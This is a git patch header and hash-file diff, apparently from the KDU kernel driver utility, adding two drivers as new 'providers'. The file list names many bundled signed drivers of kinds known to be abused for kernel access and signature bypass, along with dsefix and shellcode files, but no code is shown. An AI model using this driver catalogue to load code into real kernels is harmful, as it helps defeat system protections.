From a407db283ee762f7961376480c68b4322749ba79 Mon Sep 17 00:00:00 2001 From: hfiref0x Date: Sat, 10 Jun 2023 12:55:20 +0700 Subject: [PATCH] v 1.3.2 Added Pavel Yosifovich "KObjExp" driver as provider 37 Added Pavel Yosifovich "KRegExp" driver as provider 38 Readme update --- KDU.sha256 | 135 ++--- README.md | 2 + Source/Hamakaze/global.h | 2 +- Source/Hamakaze/idrv/dbk.cpp | 87 +-- Source/Hamakaze/idrv/procexp.cpp | 40 +- Source/Hamakaze/idrv/zodiacon.cpp | 530 ++++++++++++++++++- Source/Hamakaze/idrv/zodiacon.h | 73 ++- Source/Hamakaze/kduplist.h | 50 +- Source/Hamakaze/res/SB_SMBUS_SDK.bin | Bin 49779 -> 50244 bytes Source/Hamakaze/res/Taigei32.bin | Bin 2622 -> 2905 bytes Source/Hamakaze/sup.cpp | 225 +++++++- Source/Hamakaze/sup.h | 20 +- Source/Hamakaze/tests.cpp | 2 +- Source/Shared/consts.h | 14 +- Source/Shared/ldr/ldr.cpp | 79 +-- Source/Taigei/Taigei.vcxproj | 1 + Source/Taigei/Taigei.vcxproj.filters | 3 + Source/Taigei/export.def | 1 + Source/Taigei/ipc.cpp | 10 +- Source/Taigei/main.cpp | 92 +++- Source/Tanikaze/Tanikaze.vcxproj | 2 + Source/Tanikaze/Tanikaze.vcxproj.filters | 6 + Source/Tanikaze/data/AsusCertService.bin | Bin 159488 -> 159488 bytes Source/Tanikaze/data/KMUEXE.bin | Bin 91965 -> 91965 bytes Source/Tanikaze/data/KMUSIG.bin | Bin 170 -> 170 bytes Source/Tanikaze/data/dbutilcat.bin | Bin 5973 -> 5973 bytes Source/Tanikaze/data/dbutilinf.bin | Bin 961 -> 961 bytes Source/Tanikaze/drv/ALSysIO64.bin | Bin 22889 -> 22889 bytes Source/Tanikaze/drv/AMDRyzenMasterDriver.bin | Bin 26170 -> 26170 bytes Source/Tanikaze/drv/ATSZIO64.bin | Bin 10480 -> 10480 bytes Source/Tanikaze/drv/AsIO3.bin | Bin 23237 -> 23237 bytes Source/Tanikaze/drv/AsrDrv106.bin | Bin 28195 -> 28195 bytes Source/Tanikaze/drv/DbUtil2_3.bin | Bin 7938 -> 7938 bytes Source/Tanikaze/drv/DirectIo64.bin | Bin 22129 -> 22129 bytes Source/Tanikaze/drv/DirectIo64_2.bin | Bin 24128 -> 24128 bytes Source/Tanikaze/drv/EneIo64.bin | Bin 9168 -> 9168 bytes Source/Tanikaze/drv/EneTechIo64.bin | Bin 10975 -> 10975 bytes Source/Tanikaze/drv/GLCKIO2.bin | Bin 10566 -> 10566 bytes Source/Tanikaze/drv/HW64.bin | Bin 17993 -> 17993 bytes Source/Tanikaze/drv/KExplore.bin | Bin 8339 -> 8339 bytes Source/Tanikaze/drv/KObjExp.bin | Bin 0 -> 8339 bytes Source/Tanikaze/drv/KRegExp.bin | Bin 0 -> 12926 bytes Source/Tanikaze/drv/LDD.bin | Bin 21856 -> 21856 bytes Source/Tanikaze/drv/MsIo64.bin | Bin 14068 -> 14068 bytes Source/Tanikaze/drv/Phymemx64.bin | Bin 13875 -> 13875 bytes Source/Tanikaze/drv/RTCore64.bin | Bin 7605 -> 7605 bytes Source/Tanikaze/drv/SysDrv3S.bin | Bin 14691 -> 14691 bytes Source/Tanikaze/drv/WinRing0x64.bin | Bin 7989 -> 7989 bytes Source/Tanikaze/drv/amsdk.bin | Bin 93689 -> 93689 bytes Source/Tanikaze/drv/asio2.bin | Bin 19306 -> 19306 bytes Source/Tanikaze/drv/dbk64.bin | Bin 51941 -> 51941 bytes Source/Tanikaze/drv/dbutildrv2.bin | Bin 13068 -> 13068 bytes Source/Tanikaze/drv/ene2.bin | Bin 11550 -> 11550 bytes Source/Tanikaze/drv/etdsupp.bin | Bin 17877 -> 17877 bytes Source/Tanikaze/drv/gdrv.bin | Bin 12988 -> 12988 bytes Source/Tanikaze/drv/gmerdrv.bin | Bin 28189 -> 28189 bytes Source/Tanikaze/drv/heavenluo.bin | Bin 10082 -> 10082 bytes Source/Tanikaze/drv/iQVM64.bin | Bin 16988 -> 16988 bytes Source/Tanikaze/drv/inpoutx64.bin | Bin 7526 -> 7526 bytes Source/Tanikaze/drv/kprocesshacker.bin | Bin 19038 -> 19038 bytes Source/Tanikaze/drv/lha.bin | Bin 12338 -> 12338 bytes Source/Tanikaze/drv/mimidrv.bin | Bin 15718 -> 15718 bytes Source/Tanikaze/drv/pcdsrvc_x64.bin | Bin 13490 -> 13490 bytes Source/Tanikaze/drv/physmem.bin | Bin 13649 -> 13649 bytes Source/Tanikaze/drv/procexp1627.bin | Bin 18571 -> 18571 bytes Source/Tanikaze/drv/procexp1702.bin | Bin 19573 -> 19573 bytes Source/Tanikaze/drv/rtkio64.bin | Bin 25003 -> 25003 bytes Source/Tanikaze/resource.h | 4 +- Source/Tanikaze/resource.rc | 12 +- Source/Tanikaze/tanikaze.h | 36 +- 70 files changed, 1178 insertions(+), 248 deletions(-) create mode 100644 Source/Tanikaze/drv/KObjExp.bin create mode 100644 Source/Tanikaze/drv/KRegExp.bin diff --git a/KDU.sha256 b/KDU.sha256 index e293055..68ee5bb 100644 --- a/KDU.sha256 +++ b/KDU.sha256 @@ -30,13 +30,13 @@ a4fa97b9f2be414bc49881450d5935d2b48c1029d3bee655cd6e77e645327d74 *Source\Hamakaz c62c75c00882d816856f56005eec67a82cf56179d2a4629c4c8bf53707c16c25 *Source\Hamakaze\drvmap.h 76ecc2d25f2a06a573ca23a2b2d851cd58424548bac98db487fadb54ff01dd50 *Source\Hamakaze\dsefix.cpp bde58787437d8243d531f2ab1b33eda6bdf4afffdad08b63f85b16a3b65bd5fd *Source\Hamakaze\dsefix.h -27f3972b1ee460e8cef1b62af503cbf3e885c4338af56d34e636c2b9e653676b *Source\Hamakaze\global.h +67605bff584d9fbe3cd34905f5efeb165626cb426668fedbb3e85b587cbdffa2 *Source\Hamakaze\global.h ea0d8d42a5e7d7fb908c52351f99c69f2019c105d07a1f536756691ab2a74174 *Source\Hamakaze\ipcsvc.cpp 888a436b666b00592d29e8a2e82a9b5c7f0c1d4890aaab8cb2f623181ad07092 *Source\Hamakaze\ipcsvc.h 32566d09a9183a32a3615f987eee2153f9d61b7ea7a95c752a0af0bdd669f1d3 *Source\Hamakaze\KDU.vcxproj 2138d7f641038817debf4484c5b74d42ec4f90955d619d64425f8a42ab2bec77 *Source\Hamakaze\KDU.vcxproj.filters 650f85bfda6b1653e2f0486182ca54ac6bd67517b8a52f886a54dffc8984ef8f *Source\Hamakaze\KDU.vcxproj.user -c60b8c1d2e6557aa0202ea15cd2d31525b0960f52be6f93956dce651df9b9a1b *Source\Hamakaze\kduplist.h +d68453cf31b5faa408efd39f971f251d4f3460cefa868c8164bb635e25af4f75 *Source\Hamakaze\kduplist.h 0d45b44d55d3986f8dfca4528c54597cfbc7b120166d9f3d526a22b530ff4480 *Source\Hamakaze\kduprov.cpp 13a842b3bc62995ab8071ae56df74065d6a1388fcda66884012c6d8addb94055 *Source\Hamakaze\kduprov.h ef4d5f53395fd0350d9cc7a3a150e23da2b2e27e49bb8acde7c9f30dd9910eb1 *Source\Hamakaze\main.cpp @@ -49,13 +49,12 @@ b99493307cf038c5e4794a46a4c612f32278ba81be738f84945339535dbc91b5 *Source\Hamakaz a6f3ec0bc0beb0ef152a2a33ca5cbd27bf538316ddf90545b31cd5a78114d6ec *Source\Hamakaze\shellcode.cpp 87c7274c6e821eb447ec87b63b0a058c59f0e64f0c109cfc1d529fb8e2f25150 *Source\Hamakaze\shellcode.h 5428b9eb02810dbc4bfd715ec657ee35a5e61e53079c65f05e1eea4f8a6fa4a0 *Source\Hamakaze\shellmasm.asm -1bc7b331c4d2be8d2b7686fee741954aa7c44f9b63f2001d451bb9d4ac6c2b61 *Source\Hamakaze\shellstager.lst 879eea1c38c0c408e3634d0ed2eeae2b8b21e1040b4b0988ea4d802de0ecd21e *Source\Hamakaze\sig.h -a6160dbf3dd84af0331f665dfd1ec81dac0ce2ba54fe2911d98bd678f6c33377 *Source\Hamakaze\sup.cpp -58a79fa6ab7e4787e0fc58176d8ec0305552223305945de454992741a6bdde11 *Source\Hamakaze\sup.h +7a0858c6079814599a1cd01cb7e8b868cbc09f0cd67c52fa28ffbb344314a487 *Source\Hamakaze\sup.cpp +c9b10b4f9e02bd601c474e7045aabb130c6cbe684d350a1303f42d1d367ac7f5 *Source\Hamakaze\sup.h d19e67019fc5666a80a153991ec3d2ac3a7e8dbe088dd9ff93d3e0d0ced91cde *Source\Hamakaze\sym.cpp 292efaabf3f6223761aef1fc418ec98108fb529c7260d9d4a72715378c6b7547 *Source\Hamakaze\sym.h -d8236a9c9c568c5f95acfac1c301ce2b7e3d2ef7b34c95d43c9fc9a0efe8b06c *Source\Hamakaze\tests.cpp +b3928fe0dac109a549e47d7a9a375293060268f07a1785a8c607205925fb4f5f *Source\Hamakaze\tests.cpp ad77ae168188a9748713ab5f7532447ca50a539fa8ebbec5ac86b273696b028e *Source\Hamakaze\tests.h 42c3ee977471fb2966d2abd804d1b69e6aeb6c5c86a02f9c75cf182b42af73c4 *Source\Hamakaze\victim.cpp 5b82accd00d244d77f107a7b8ff0253548a463e642976c36f76e85649e60fe8e *Source\Hamakaze\victim.h @@ -70,7 +69,7 @@ de5286bda6dd23940fb2cc0f0e5d3cd12bad73ffdcf30259bc254047a5f1142f *Source\Hamakaz 1c2c5b6a7addf3389a6dee6b11e4a4648d403e9c456008ecefbc79deaa34afae *Source\Hamakaze\idrv\asrdrv.h b1350783a851e6345b880c8a5313e871d2249aa5524f41406c52fa62483f2229 *Source\Hamakaze\idrv\atszio.cpp 015a6aff991174a881650c61fe1b28c5bfe3116a02a32abe5295ff389c5b7099 *Source\Hamakaze\idrv\atszio.h -498cbec6087b80ff01a3600221b27edd69db7debd6b6194a876a84af2ef5bee1 *Source\Hamakaze\idrv\dbk.cpp +bfee96a81ea2f722f426f878032b51d8793bf3d747505f8cd5e4ab5b49bccbbc *Source\Hamakaze\idrv\dbk.cpp 24f81b4fdc1b924a36c981fb175b2dccebd7d029d6caed85fb731b74b22c7386 *Source\Hamakaze\idrv\dbk.h 8c61e22c624b7fce32fdb1c7fd3075c9d9ac5eb4f0ad3370f575f5af47a4d7c7 *Source\Hamakaze\idrv\dell.cpp 1d864cc688e8a2c38da6b94019f7efba771a0e0b7f68e1c3f8700b8caa76dda0 *Source\Hamakaze\idrv\dell.h @@ -99,7 +98,7 @@ d281289e0cda5f4171e999bb1313aa235c54583aa8b0df3aa187af35b4ba2057 *Source\Hamakaz 5cb51cbc6d2b2e3174fc2ebbb713e32c34d4d367f299060f400dac331183d236 *Source\Hamakaze\idrv\nal.h f9463d258e2528738ee749a86683079e8b870b8c84d292352952be207b9daff5 *Source\Hamakaze\idrv\phymem.cpp 399a9ced700381d0e3641f2d97a3e9f5dd59cbe22098ac9c0178454f9060d412 *Source\Hamakaze\idrv\phymem.h -0f30979d4ffbfa0d6b56fda86bfd8974b34d4acf5b4258be263a84b8d02c4ebe *Source\Hamakaze\idrv\procexp.cpp +a35639536902ef0c738c7a667119cce18accdef5465059fe45fe5a68cae3ae7a *Source\Hamakaze\idrv\procexp.cpp 8449d829c3285f5a22521fba0db1516c487818f901fd28939fc18fbc3da0eedb *Source\Hamakaze\idrv\procexp.h bd0c80bc267d1fa0b423a453a22958a8b1ab1ede29291217cc045a9a877a347f *Source\Hamakaze\idrv\rtcore.cpp 08f75ea88874a507c132bafc412c88f9cc9862f78c238dcbd0cc480a04a438f4 *Source\Hamakaze\idrv\rtcore.h @@ -113,15 +112,15 @@ b3a7fc6cc6a5b33a71a7f043c9a649238de2f7755075a6f5c91c2a544c81f0d8 *Source\Hamakaz 103f50efe410f8668c40ddc68051ba49aa0ee1a5301cb54bc42991523c0edae9 *Source\Hamakaze\idrv\winring0.h 285c2c1c44e863142bd5d0606a2bc940fb0e444aa825a675d472860a0499d5e4 *Source\Hamakaze\idrv\zemana.cpp da1ea3c2ceebfdc6e5c338461dc214798870a0d6aa16f7f23c045123fa450f71 *Source\Hamakaze\idrv\zemana.h -60b580d363f0121caae4c6ec94143c2d4b1b1419c7593af4c412222099e68f5d *Source\Hamakaze\idrv\zodiacon.cpp -eaf85f2c7194d38b06828bd7ac47f78f5138fe91f904560cd4df26788addb259 *Source\Hamakaze\idrv\zodiacon.h +103e3c46a148e415a80057caf102c837702983a67d6086482030becf3e429a72 *Source\Hamakaze\idrv\zodiacon.cpp +72be567129bf43464443801c169ebff5ea6fc276cdd6b0170044ffef974dffe1 *Source\Hamakaze\idrv\zodiacon.h de7bdf0bd4acec31c963b916331399bce23c155e3002f0a8152a4a36af13faf8 *Source\Hamakaze\res\274.ico -89ca03cab3ebb32fa7a560a8f4a69e7d91b9e71f7b47c5b226b88a642e0db026 *Source\Hamakaze\res\SB_SMBUS_SDK.bin -8bac2488e3c8f8ee589172f959722bf41f6a8d49ea019bdd11c9bbeb2d922302 *Source\Hamakaze\res\Taigei32.bin +91614e852fd6ba37e8bc26183abe3a767627de222bf97e82f038ce90a1c40f8e *Source\Hamakaze\res\SB_SMBUS_SDK.bin +d8556d04891d9ae63ed5e82199092b6270b5dc5c47288d27cafd2b51a51bc729 *Source\Hamakaze\res\Taigei32.bin 1232f65b57bc8732ead29a730308f6c67bc53a2f9fafd47f8c7cc4b4f676a9e9 *Source\Hamakaze\utils\GenAsIo2Unlock.exe -71dcf84933af9d18e8301b3ffb1fae9197df2a352de7142040aef53f3d160390 *Source\Shared\consts.h +d79f132ea6c7e9557da34c66ab4f33c6acade8382f7e8203e32c783345e22e80 *Source\Shared\consts.h 1cbb3b9ac4c7a6f557ddad181348002d3dfa260be724378487c7efb321162ef8 *Source\Shared\kdubase.h -e0ba365c8aa8e66fddd0f28bca4b827725911480fdcd968df2792c370f13ef42 *Source\Shared\ldr\ldr.cpp +2ee707d0b1f83f7bfe85b0f2ed4b3046757db2e44db266fd80373877dd08562d *Source\Shared\ldr\ldr.cpp 37003367e625e218bf7e4c22850ac7d2efe926a6a832d29bc20a9f8b19a479af *Source\Shared\ldr\ldr.h 893b90b942372928009bad64f166c7018701497e4f7cd1753cdc44f76da06707 *Source\Shared\minirtl\cmdline.c bd6fe82852c4fcdfab559defa33ea394b752a4e4a5ac0653ae20c4a94b0175ed *Source\Shared\minirtl\cmdline.h @@ -152,65 +151,67 @@ d971e037b629849d999303778df77e465ef526a7e90eaea04f5983928a425ebe *Source\Shared\ a68264a684f0c19caf7f2464544d9e8163362cd919f382d08b82cbef0497a6f7 *Source\Shared\tinyaes\aes.h 541e81804b992865dcb3c7f1092b646a5c7d7dde93b83a7be489d4f452aac1bd *Source\Taigei\asio.cpp 0fb3df421a154bff00551def94069f21a91c5f7dcf6695ea1d3af036d0dd2eed *Source\Taigei\asio.h -dd06a7140e1cd61a888c5b035120175e307be6767d44e15d0b353c4aa2a980ce *Source\Taigei\export.def +26a3144d60bd6a0d62a3466ba90999cc4a7312b268d56bf8def4cba523364b69 *Source\Taigei\export.def 6c12bf0d697d624a35a8b233a2ee8cfb91db8aa6a6f5cc71142d3d1de98b42b4 *Source\Taigei\global.h -ab6d1318079253cf388477ea2190837513345dd6a6a731f022e73c80ea806d58 *Source\Taigei\ipc.cpp +33e18a0ba281cfd3205e3e6af9204e60be4e279b2ca69b5aa1db4f9628131097 *Source\Taigei\ipc.cpp 6711ef2aa6e396743d3a42adf9a901784e4d880fa07ef88873c41bdd4261ac35 *Source\Taigei\ipc.h -3634d1725df134897618a080e43de72369011a0e118b471b064bf64e3a544ceb *Source\Taigei\main.cpp -374468ff95a52a32877df397513ad58768a980452498e8e65656db0d6f8302b6 *Source\Taigei\Taigei.vcxproj -d563bd3017a274175ca6b7e8f93333a3e3ec096d1f3034acfa4e17d8b2420c99 *Source\Taigei\Taigei.vcxproj.filters +3c9d84318b072505a185e8ca1a23384a8684d02959de53e243d0687214ec99be *Source\Taigei\main.cpp +b4c64ccefe575eda8a61b3b4cad52fcd8c2b345c7b9baf1c0c2ad9946bfc0168 *Source\Taigei\Taigei.vcxproj +1e5949735998907c5b53ef495fb6c7942b93e33f5a2a73124fffb46fcf279c35 *Source\Taigei\Taigei.vcxproj.filters c06a75b13f855a94d46616796e024c52b499f8f92cf00ccb571ddbc6ff574676 *Source\Taigei\Taigei.vcxproj.user 9e82ce97464b666dad14ffde32e5450a0974d1194ca68cd10e9b2611599dfc28 *Source\Tanikaze\export.def 5bbbcc6c275008ffdd765a3fa53ed3e4ae16ea51bf6ae66c2271f6f065ba0525 *Source\Tanikaze\main.cpp -7c298189b908570093b38bd4080940a78a9628e6187043ae3b4b7af27316c55d *Source\Tanikaze\resource.h -dc6c181b2c81aaa12359628ed1f4f1e684953fc1c09445e914883955db676c00 *Source\Tanikaze\resource.rc -d1d914fbb25404b9d20baf51d247a858dc4af91598e33da2a183271324371444 *Source\Tanikaze\tanikaze.h -598cccee803774d545c3babe8af5c6615869260274d8ef64c430a0f83fd9f48e *Source\Tanikaze\Tanikaze.vcxproj -085298d79d85301ba7919f5eb64cf3148868997fb1111835deefc1a8e239fb03 *Source\Tanikaze\Tanikaze.vcxproj.filters +eced6f6c4a607820b9e023bbb11be8b3511d5a0da6919be67679aeae83e69b0c *Source\Tanikaze\resource.h +6f1bfe79355e866863977bb2c8bd98b19ba50a5e3aa1d9a81a63a3f5febe19fd *Source\Tanikaze\resource.rc +b92186ed89413d004353b24ebe0e7abb012e823708463878bb40ca1133946171 *Source\Tanikaze\tanikaze.h +3c4fe6d30c91cb7eb9b919f8fafc91678d02acf5c45edff5fb30566906be4a24 *Source\Tanikaze\Tanikaze.vcxproj +51947ebb359027a63a2a0c7a29a14faee9f4e9037982477f964afb10376fa078 *Source\Tanikaze\Tanikaze.vcxproj.filters c06a75b13f855a94d46616796e024c52b499f8f92cf00ccb571ddbc6ff574676 *Source\Tanikaze\Tanikaze.vcxproj.user -05a74132fb478c1e0de11934358ff24069b9c92d6e1ecfe9289ea42c742efc83 *Source\Tanikaze\data\AsusCertService.bin -12c5b9df7a5c7f61941d26dd95bcc1d24b17f8f620bccc01d41330cfdcf78f1f *Source\Tanikaze\data\dbutilcat.bin -23030f4f08597749f71157b99f4f08a64ac53e1a43e28807a53d88e2520ab97e *Source\Tanikaze\data\dbutilinf.bin -7c0942d1b5140320a8649c1728f1437eccbe0ad30393899e036defce6d6de3b0 *Source\Tanikaze\data\KMUEXE.bin -50a3b18111e1e06228b09152d2de311ab729889bfb05ce1273e1ad6b3de22b11 *Source\Tanikaze\data\KMUSIG.bin -a5bfe4928604b22336f0a4339b018e0d39d2c6a6abe4281fb30075f96c7aae3d *Source\Tanikaze\drv\ALSysIO64.bin -a985d7206aedc4eeeac761d1c3cbfbd98127fb69b04842e858ad35dbdaa740d2 *Source\Tanikaze\drv\AMDRyzenMasterDriver.bin -ea6373ce46e31fcfde3f11676efe499944a2286f6f4f9979e6c363f430578e25 *Source\Tanikaze\drv\amsdk.bin -5d3da5f5fff4742b98ccd2e046c6238d06fca7254da141989bb3ee550867658e *Source\Tanikaze\drv\asio2.bin -75f55cef23d2993c93b7ad2b8a58a6f1574d66be1de8f99ce89bf684d0273162 *Source\Tanikaze\drv\AsIO3.bin -6393910fa9f76925a54e18be1304abbc630b3ce164c21cd1948bb2a20fdc4f6f *Source\Tanikaze\drv\AsrDrv106.bin -634798c7bca0d32ad8ae859efcc3cfa49212f0c7a1c7b17c7b8ffa52cbf2e587 *Source\Tanikaze\drv\ATSZIO64.bin -3f11e01732dd3a6e67c6c52d9d08370abf4979708d3ee435ad596a0cc22243ed *Source\Tanikaze\drv\dbk64.bin -dd748d923bead36e845f4eb63afcf73b94b1123bf5fe047cf5f54f2e80d57ed2 *Source\Tanikaze\drv\DbUtil2_3.bin -3e4cbc6da15f3757e470ae4ceae7c839d4fcf8b1efba0b66339b8cde9db421c9 *Source\Tanikaze\drv\dbutildrv2.bin -e17daa59470157dafd05d51989656104bbcd50eb231f9e87e4e525ebe458369e *Source\Tanikaze\drv\DirectIo64.bin -83f5599a993f90a143d8d276fdcb08b2925d920c34ecadce1c08bb2d8b08ce47 *Source\Tanikaze\drv\DirectIo64_2.bin -946cc8ea63d8747aa793c048943b63e59a118607e40e0b205ec03f802d4c474c *Source\Tanikaze\drv\ene2.bin -de91f013d0cd7af376a962ef7baee06ff2971f13cea259f3412cc34c017d0566 *Source\Tanikaze\drv\EneIo64.bin -5244cd8306615fedd04a9cdd664f3fde1efc823896bbaf116939ef4e58d53bb4 *Source\Tanikaze\drv\EneTechIo64.bin -01266121cf5fc7464f1f664b5b1397da7f87ce73ea33aaa6f808ed8ed3becbce *Source\Tanikaze\drv\etdsupp.bin -59beafcdd7057962d9aa9c326adcd902a12cd2584f254852f17f8d7dd76039e1 *Source\Tanikaze\drv\gdrv.bin -c8328ed776dfb4fe25e66cf8dea9843265cfcee2be012e4343568a7d755ab30f *Source\Tanikaze\drv\GLCKIO2.bin -0babb4ab84d7a0ae08eb5d5ecb6373fce42ccc5820f886d54b0ba5b29df72998 *Source\Tanikaze\drv\gmerdrv.bin -0151a6d779712e77e2e750871554a1a60260f6133c2af8519c2fabf3ed284fd1 *Source\Tanikaze\drv\heavenluo.bin -73dccc203af38a41d78b7649870304a900d6e3b742d1356d8c61dd28b0bdd54d *Source\Tanikaze\drv\HW64.bin -23faa6841925b9b2f1c1d5a6dfbb0f27a899176412b7cea300eae20488e5a204 *Source\Tanikaze\drv\inpoutx64.bin -5cfc146db25b21643b5848d3019a09ec80cd479d47461f10b0a0bd5c9b44523b *Source\Tanikaze\drv\iQVM64.bin -40bfc335e212e5189c72daa5a125241c32cec087feaa407b0802c4f23d13d698 *Source\Tanikaze\drv\KExplore.bin -3c76fa843624f4d14f28889b0ca782701f446da6f60b17f84d57d5b841b58507 *Source\Tanikaze\drv\kprocesshacker.bin -6bcf437a4ef1e7f550dffd4b63fb4fa8536e6e9357970ee0cc820183b0ada98e *Source\Tanikaze\drv\LDD.bin -38efe2d15f562b3e7d71a2c4fbbe6cf2cd989db66ea8cb2024166db62284f5d9 *Source\Tanikaze\drv\lha.bin -5ec1e3565a783639e51483418c141fc2ee21a9d010f9d7fd6e8952a9977a901b *Source\Tanikaze\drv\mimidrv.bin -02661b0431aee575e31a1e620cbda148a1517c83eb11f099c0aa1bb1e49f5632 *Source\Tanikaze\drv\MsIo64.bin -94388c6863689eb2249398c8e1dfd7c82af4e1b38f797f8ed98f7d3af8c3e4c8 *Source\Tanikaze\drv\pcdsrvc_x64.bin -2ec405e99b825450472517c1dd7df459b151bd366535fa32f32892831ed43588 *Source\Tanikaze\drv\Phymemx64.bin -de171d43f9a7ab916d0921974d6e81c63c1e1e1d07cea81c976535c913445121 *Source\Tanikaze\drv\physmem.bin -d46a395cf2223b1ee4abf5d2eaf37f4f736fb8e8beea1e049e8ffed49ed437a8 *Source\Tanikaze\drv\procexp1627.bin -40ff7320fc1e487d5525f852fb673145714dad3f8b89ed027b1aa10950d82c2d *Source\Tanikaze\drv\procexp1702.bin -b56ca239054baf6708943c3101096cffa7d9fe96d0dc5aa1ba55cf3c3e97665e *Source\Tanikaze\drv\RTCore64.bin -cbaaef88409385d1cfbfe4262055ea9d8d5b1ff3378bdf63b3790ef8978e46ce *Source\Tanikaze\drv\rtkio64.bin -ed1123ada8dc777bc23b3977ccb6a33e451df65e43959f0210beb0ccda2d4a6a *Source\Tanikaze\drv\SysDrv3S.bin -aa52f47c7793b5aa74c9cf65ad3478637a8c7c0c8d856787c221abe869ab1a57 *Source\Tanikaze\drv\WinRing0x64.bin +67034ee07c357dc82c9946389d60735f2bc1b3a0e13b4f5c739ba5178a76c27c *Source\Tanikaze\data\AsusCertService.bin +47136911450d1da1851ff264503e0247bb1c9c1c2457ccb33ac3d458fe159aae *Source\Tanikaze\data\dbutilcat.bin +3a5f6f40824548130c6c7c7b1969315d01fc58934acb41aa0b5b8664c4b4f66e *Source\Tanikaze\data\dbutilinf.bin +7e82a859d6c8868db34d624b96cceab9f083beb9492efcddf23f64c47923ba71 *Source\Tanikaze\data\KMUEXE.bin +a442fb71ed8b762b678656ae1b65b29f72c85e3ec4769082a946f7b72e1406d0 *Source\Tanikaze\data\KMUSIG.bin +4050c510f1e4a23dc4e6fa2ba3ad24db2ec0ececd1059e99703601f8633c40f7 *Source\Tanikaze\drv\ALSysIO64.bin +5da885ddffd338f4b4b73ba985a5fc29100d944b927663e9a7c890a176483090 *Source\Tanikaze\drv\AMDRyzenMasterDriver.bin +d135b1a1591dd4ed98cd30e8eb9ece782c0288a7aca3970d9c1ae73658ff4af9 *Source\Tanikaze\drv\amsdk.bin +6da78e5ba96e7f99947bddec66901f673e6f1b2a097b2faa614135fada5a8f45 *Source\Tanikaze\drv\asio2.bin +9e1a3369b34f5ea17af2ab6dcfa202143a0a66876e842c7b8933315187bb5bea *Source\Tanikaze\drv\AsIO3.bin +6bdeaa758f1d0d1190ea44c947295b13cfcdda0c1b246872603f84edf32d1511 *Source\Tanikaze\drv\AsrDrv106.bin +62da1832d11c607c5fc084be801fdfa2ba018fa25b6aa4347ea947d7a72b932c *Source\Tanikaze\drv\ATSZIO64.bin +6b71600dec1e692346f072e97a36bfa609f2cdfd19884ec3a77776a13cec335a *Source\Tanikaze\drv\dbk64.bin +d06a92ed4e46748195a44fc256efd333d50a2cb03274ae5c928eb5d7165cbaf6 *Source\Tanikaze\drv\DbUtil2_3.bin +9de5ac6cd3b656c788356f25c9d273d90bcd28cc51beb077383d17c4066913be *Source\Tanikaze\drv\dbutildrv2.bin +b3c03c58b831ec19e36905ae663f2399a8c3a73f8d44dbf0a8bdbf85bf6cb5d9 *Source\Tanikaze\drv\DirectIo64.bin +c88b12ea45f176b2ea0380adb803fbd7fd6366f740e056f1c337bb7284f21f20 *Source\Tanikaze\drv\DirectIo64_2.bin +854d85abccb257451c6fecf545851729ccf917dab26ba0111445a166e73481ad *Source\Tanikaze\drv\ene2.bin +67995474c3d769ebe6ecc45e3e771f95a3b038276e4cf121079e94dfdf7319a4 *Source\Tanikaze\drv\EneIo64.bin +516da7aedd204918046e19e59de2dcf7368a7a5c652153581d14125f4e16de1e *Source\Tanikaze\drv\EneTechIo64.bin +2e94a7a81428e14b7a41b406ce2d1a447335f7e197cefbbe1ecefdafd42ab9a5 *Source\Tanikaze\drv\etdsupp.bin +4535e9f79f940c6e5dfe0cdf64814462fbb8c7bdd0e9374a67e55979281d77df *Source\Tanikaze\drv\gdrv.bin +d73c2f99841217ff59c00c385a59237ce359ba74e427f180d1a50ec3f9695308 *Source\Tanikaze\drv\GLCKIO2.bin +d10329323a4ad49d6cb604345c60ef134b84d9f313350646584baf7d9cbf15ba *Source\Tanikaze\drv\gmerdrv.bin +8462d57c08a2c056c2eb510c233a0480dfb0ce3745614ef2f82ab2c8819e5a36 *Source\Tanikaze\drv\heavenluo.bin +c0c2f175df1e67457f475a5e544e3e520815cc23a2847eaffbc3260b1503caea *Source\Tanikaze\drv\HW64.bin +a69febeed32057ea0588b13f8d80a4d1d6c20356bd10575f7db4ee3b447ae6d2 *Source\Tanikaze\drv\inpoutx64.bin +cf4c4790b582dbc819c9f4ab32e42b67b4606c5d1e31392a70ae31fae0f0d4e6 *Source\Tanikaze\drv\iQVM64.bin +fabed16b24a313943443ee4738d8ac263745160b9bf361a5e08006b764eded61 *Source\Tanikaze\drv\KExplore.bin +001b2a9ddf541a945a7c1d6c8d2c23bc928ff06fd1ee4da7edc3df6986c771a0 *Source\Tanikaze\drv\KObjExp.bin +46b04352250ebb95874ef18ec64fa31ea373ce90635680d299f8edb19cdfe845 *Source\Tanikaze\drv\kprocesshacker.bin +4cf689502b2e47509f2d8eb4a33a9e271d88e26564a8b18fc3fefee7b7145966 *Source\Tanikaze\drv\KRegExp.bin +559b56db6f3ba36116d3c6b1b2818775a488d0e8e0ed516753c56473c6102653 *Source\Tanikaze\drv\LDD.bin +515a4bb03eddb2fb593e3504ec3f12c74639dc15b5fac3359e3bae3922751e4f *Source\Tanikaze\drv\lha.bin +e604c513e4ba37129c89e971037ea2ef934531d41cc41c70f03159c5ee1474e0 *Source\Tanikaze\drv\mimidrv.bin +9b63dca03a09f9d0c800e5d148178abc3f19eb949c78a6a61656132926d394aa *Source\Tanikaze\drv\MsIo64.bin +e3b4040b72239735baf44cedc265ef2c3086d6cf700e36e3dcb6bc6363bf6667 *Source\Tanikaze\drv\pcdsrvc_x64.bin +eaadbb1c692bc0fc7c49bc05596f764d3edafb0098eb13056d6cb19f4a0f3bff *Source\Tanikaze\drv\Phymemx64.bin +c3467992e4e57d664a77b5a91b6ba408260350e4ee95604b00ca0abec2050112 *Source\Tanikaze\drv\physmem.bin +82136994a4ebc411719dcf8b03827c50077a0f72507a52c370b4d36f830d2cd9 *Source\Tanikaze\drv\procexp1627.bin +3174769519d1ef32c92a1eb3f34efa68c21fe4f083e316c34507dbab22e23576 *Source\Tanikaze\drv\procexp1702.bin +46e639fb328967b05e5056cfa9da5ca4a8095b8a7628e2185c8f498624b9ac6d *Source\Tanikaze\drv\RTCore64.bin +dd6498ed873d32ac715c8de6aef5001f8acf454685a7b1c05dac4462bf17892b *Source\Tanikaze\drv\rtkio64.bin +cd24bdba7ebe4b9c65e54c03e9f1a56fdaf6151b0e5fc4937d6a74a3c7f22fb7 *Source\Tanikaze\drv\SysDrv3S.bin +83867dc3e4f5d063556eba30e398fa745b8c987c3baa6b4bea073bdba62b3dc1 *Source\Tanikaze\drv\WinRing0x64.bin bf86c929ee9ee2bb88187e1d82bcddfe83375c73e6787b83a7e414dff691e35b *Source\Utils\readme.txt c776bc97ee2fbe48d3e148bb37c887862e6de212d4391d6df9b5f149e40ed223 